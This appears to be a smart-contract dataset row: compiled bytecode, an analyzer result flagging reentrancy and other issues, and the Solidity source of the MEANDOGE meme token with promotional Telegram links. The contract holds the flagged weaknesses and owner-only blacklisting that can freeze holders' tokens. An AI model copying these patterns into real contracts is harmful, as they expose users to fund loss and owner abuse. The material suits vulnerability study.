fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119625750601060169054906101000a900460ff165b1561198a5761197081611bf7565b600047905060008111156119885761198747611a00565b5b505b505b611997838383611e7f565b505050565b60008383111582906119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db9190612c04565b60405180910390fd5b50600083856119f39190612f9d565b9050809150509392505050565b6000611a57611a1c600b54600c54611e8f90919063ffffffff16565b611a49633b9aca00611a3b612710600c54611eed90919063ffffffff16565b611eed90919063ffffffff16565b611f6890919063ffffffff16565b90506000611a98633b9aca00611a8a612710611a7c8787611eed90919063ffffffff16565b611f6890919063ffffffff16565b611f6890919063ffffffff16565b90506000611aaf8285611fb290919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b19573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b82573d6000803e3d6000fd5b5050505050565b6000600854821115611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612c46565b60405180910390fd5b6000611bda611ffc565b9050611bef8184611f6890919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2f57611c2e613172565b5b604051908082528060200260200182016040528015611c5d5781602001602082028036833780820191505090505b5090503081600081518110611c7557611c74613143565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1757600080fd5b505afa158015611d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4f919061269b565b81600181518110611d6357611d62613143565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112f3565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e2e959493929190612da1565b600060405180830381600087803b158015611e4857600080fd5b505af1158015611e5c573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e8a838383612027565b505050565b6000808284611e9e9190612ebc565b905083811015611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90612ca6565b60405180910390fd5b8091505092915050565b600080831415611f005760009050611f62565b60008284611f0e9190612f43565b9050828482611f1d9190612f12565b14611f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5490612cc6565b60405180910390fd5b809150505b92915050565b6000611faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f2565b905092915050565b6000611ff483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061199c565b905092915050565b6000806000612009612255565b915091506120208183611f6890919063ffffffff16565b9250505090565b600080600080600080612039876122c0565b95509550955095509550955061209786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121788161233c565b61218284836123f9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121df9190612d86565b60405180910390a3505050505050505050565b60008083118290612239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122309190612c04565b60405180910390fd5b50600083856122489190612f12565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122916b033b2e3c9fd0803ce8000000600854611f6890919063ffffffff16565b8210156122b3576008546b033b2e3c9fd0803ce80000009350935050506122bc565b81819350935050505b9091565b60008060008060008060008060006122f18a600a546122ec600c54600b54611e8f90919063ffffffff16565b612433565b9250925092506000612301611ffc565b905060008060006123148e8787876124c9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612346611ffc565b9050600061235d8284611eed90919063ffffffff16565b90506123b181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61240e82600854611fb290919063ffffffff16565b60088190555061242981600954611e8f90919063ffffffff16565b6009819055505050565b60008060008061245f6064612451888a611eed90919063ffffffff16565b611f6890919063ffffffff16565b90506000612489606461247b888b611eed90919063ffffffff16565b611f6890919063ffffffff16565b905060006124b2826124a4858c611fb290919063ffffffff16565b611fb290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124e28589611eed90919063ffffffff16565b905060006124f98689611eed90919063ffffffff16565b905060006125108789611eed90919063ffffffff16565b905060006125398261252b8587611fb290919063ffffffff16565b611fb290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061256561256084612e3b565b612e16565b90508083825260208201905082856020860282011115612588576125876131a6565b5b60005b858110156125b8578161259e88826125c2565b84526020840193506020830192505060018101905061258b565b5050509392505050565b6000813590506125d1816134b9565b92915050565b6000815190506125e6816134b9565b92915050565b600082601f830112612601576126006131a1565b5b8135612611848260208601612552565b91505092915050565b600081359050612629816134d0565b92915050565b60008151905061263e816134d0565b92915050565b600081359050612653816134e7565b92915050565b600081519050612668816134e7565b92915050565b600060208284031215612684576126836131b0565b5b6000612692848285016125c2565b91505092915050565b6000602082840312156126b1576126b06131b0565b5b60006126bf848285016125d7565b91505092915050565b600080604083850312156126df576126de6131b0565b5b60006126ed858286016125c2565b92505060206126fe858286016125c2565b9150509250929050565b600080600060608486031215612721576127206131b0565b5b600061272f868287016125c2565b9350506020612740868287016125c2565b925050604061275186828701612644565b9150509250925092565b60008060408385031215612772576127716131b0565b5b6000612780858286016125c2565b925050602061279185828601612644565b9150509250929050565b6000602082840312156127b1576127b06131b0565b5b600082013567ffffffffffffffff8111156127cf576127ce6131ab565b5b6127db848285016125ec565b91505092915050565b6000602082840312156127fa576127f96131b0565b5b60006128088482850161261a565b91505092915050565b600060208284031215612827576128266131b0565b5b60006128358482850161262f565b91505092915050565b600080600060608486031215612857576128566131b0565b5b600061286586828701612659565b935050602061287686828701612659565b925050604061288786828701612659565b9150509250925092565b600061289d83836128a9565b60208301905092915050565b6128b281612fd1565b82525050565b6128c181612fd1565b82525050565b60006128d282612e77565b6128dc8185612e9a565b93506128e783612e67565b8060005b838110156129185781516128ff8882612891565b975061290a83612e8d565b9250506001810190506128eb565b5085935050505092915050565b61292e81612fe3565b82525050565b61293d81613026565b82525050565b600061294e82612e82565b6129588185612eab565b9350612968818560208601613038565b612971816131b5565b840191505092915050565b6000612989602383612eab565b9150612994826131c6565b604082019050919050565b60006129ac602a83612eab565b91506129b782613215565b604082019050919050565b60006129cf602683612eab565b91506129da82613264565b604082019050919050565b60006129f2602283612eab565b91506129fd826132b3565b604082019050919050565b6000612a15601b83612eab565b9150612a2082613302565b602082019050919050565b6000612a38602183612eab565b9150612a438261332b565b604082019050919050565b6000612a5b602083612eab565b9150612a668261337a565b602082019050919050565b6000612a7e602983612eab565b9150612a89826133a3565b604082019050919050565b6000612aa1602583612eab565b9150612aac826133f2565b604082019050919050565b6000612ac4602483612eab565b9150612acf82613441565b604082019050919050565b6000612ae7601783612eab565b9150612af282613490565b602082019050919050565b612b068161300f565b82525050565b612b1581613019565b82525050565b6000602082019050612b3060008301846128b8565b92915050565b6000604082019050612b4b60008301856128b8565b612b5860208301846128b8565b9392505050565b6000604082019050612b7460008301856128b8565b612b816020830184612afd565b9392505050565b600060c082019050612b9d60008301896128b8565b612baa6020830188612afd565b612bb76040830187612934565b612bc46060830186612934565b612bd160808301856128b8565b612bde60a0830184612afd565b979650505050505050565b6000602082019050612bfe6000830184612925565b92915050565b60006020820190508181036000830152612c1e8184612943565b905092915050565b60006020820190508181036000830152612c3f8161297c565b9050919050565b60006020820190508181036000830152612c5f8161299f565b9050919050565b60006020820190508181036000830152612c7f816129c2565b9050919050565b60006020820190508181036000830152612c9f816129e5565b9050919050565b60006020820190508181036000830152612cbf81612a08565b9050919050565b60006020820190508181036000830152612cdf81612a2b565b9050919050565b60006020820190508181036000830152612cff81612a4e565b9050919050565b60006020820190508181036000830152612d1f81612a71565b9050919050565b60006020820190508181036000830152612d3f81612a94565b9050919050565b60006020820190508181036000830152612d5f81612ab7565b9050919050565b60006020820190508181036000830152612d7f81612ada565b9050919050565b6000602082019050612d9b6000830184612afd565b92915050565b600060a082019050612db66000830188612afd565b612dc36020830187612934565b8181036040830152612dd581866128c7565b9050612de460608301856128b8565b612df16080830184612afd565b9695505050505050565b6000602082019050612e106000830184612b0c565b92915050565b6000612e20612e31565b9050612e2c828261306b565b919050565b6000604051905090565b600067ffffffffffffffff821115612e5657612e55613172565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ec78261300f565b9150612ed28361300f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f0757612f066130e5565b5b828201905092915050565b6000612f1d8261300f565b9150612f288361300f565b925082612f3857612f37613114565b5b828204905092915050565b6000612f4e8261300f565b9150612f598361300f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f9257612f916130e5565b5b828202905092915050565b6000612fa88261300f565b9150612fb38361300f565b925082821015612fc657612fc56130e5565b5b828203905092915050565b6000612fdc82612fef565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130318261300f565b9050919050565b60005b8381101561305657808201518184015260208101905061303b565b83811115613065576000848401525b50505050565b613074826131b5565b810181811067ffffffffffffffff8211171561309357613092613172565b5b80604052505050565b60006130a78261300f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130da576130d96130e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134c281612fd1565b81146134cd57600080fd5b50565b6134d981612fe3565b81146134e457600080fd5b50565b6134f08161300f565b81146134fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094c5792717569fc406f57e33e47240985b36cd049206a2fa84a0faed15d5b43c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,341 |
0x14dc8d095fb9014eea519d02781901ea663e5c39
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/*
https://t.me/meandoge
https://t.me/meandoge
https://t.me/meandoge
Doge is the father of meme coin. MeanDoge is the father of all 🐕
About us
The doge meme is based on a 2010 photograph and went viral in late 2013, earning it the title of "top meme" of the year on Know Your Meme. Late in 2013, the Shiba Inu made an appearance in popular culture. Doge was named one of the finest Internet memes of the 2010s by several online polls and media publications.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MEANDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MEANDOGE";
string private constant _symbol = "MEANDOGE";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (30 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 13, "not larger than 13%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b5060408051808201825260088152674d45414e444f474560c01b602082015290516101a991906118b8565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611932565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50678ac7230489e800005b6040519081526020016101a9565b34801561021357600080fd5b506101d261022236600461195e565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b506101706102563660046119b5565b610566565b34801561026757600080fd5b506101d2610276366004611a7a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af366004611a7a565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e4366004611a7a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d366004611a7a565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a366004611a7a565b6106dc565b34801561038b57600080fd5b506101d261039a366004611932565b610756565b3480156103ab57600080fd5b506101706103ba3660046119b5565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef366004611a7a565b610934565b34801561040057600080fd5b5061017061040f366004611a7a565b61097f565b34801561042057600080fd5b506101f961042f366004611a97565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611ad0565b610bda565b34801561048657600080fd5b50610170610495366004611a7a565b610c50565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c490611ae9565b60405180910390fd5b60006104d830610684565b90506104e381610ce8565b50565b60006104f3338484610e62565b5060015b92915050565b600061050a848484610f86565b61055c843361055785604051806060016040528060288152602001611c64602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113a1565b610e62565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f8576000600560008484815181106105b4576105b4611b1e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611b4a565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f7906113db565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c490611ae9565b6106da600061145f565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c490611ae9565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610f86565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc611b1e565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f9611b1e565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a611b1e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087481611b4a565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1661090a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d81905561092f90610708611b65565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b7d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b7d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b7d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c490611ae9565b600d811115610c4b5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031332560681b60448201526064016104c4565b600855565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e38161145f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3057610d30611b1e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c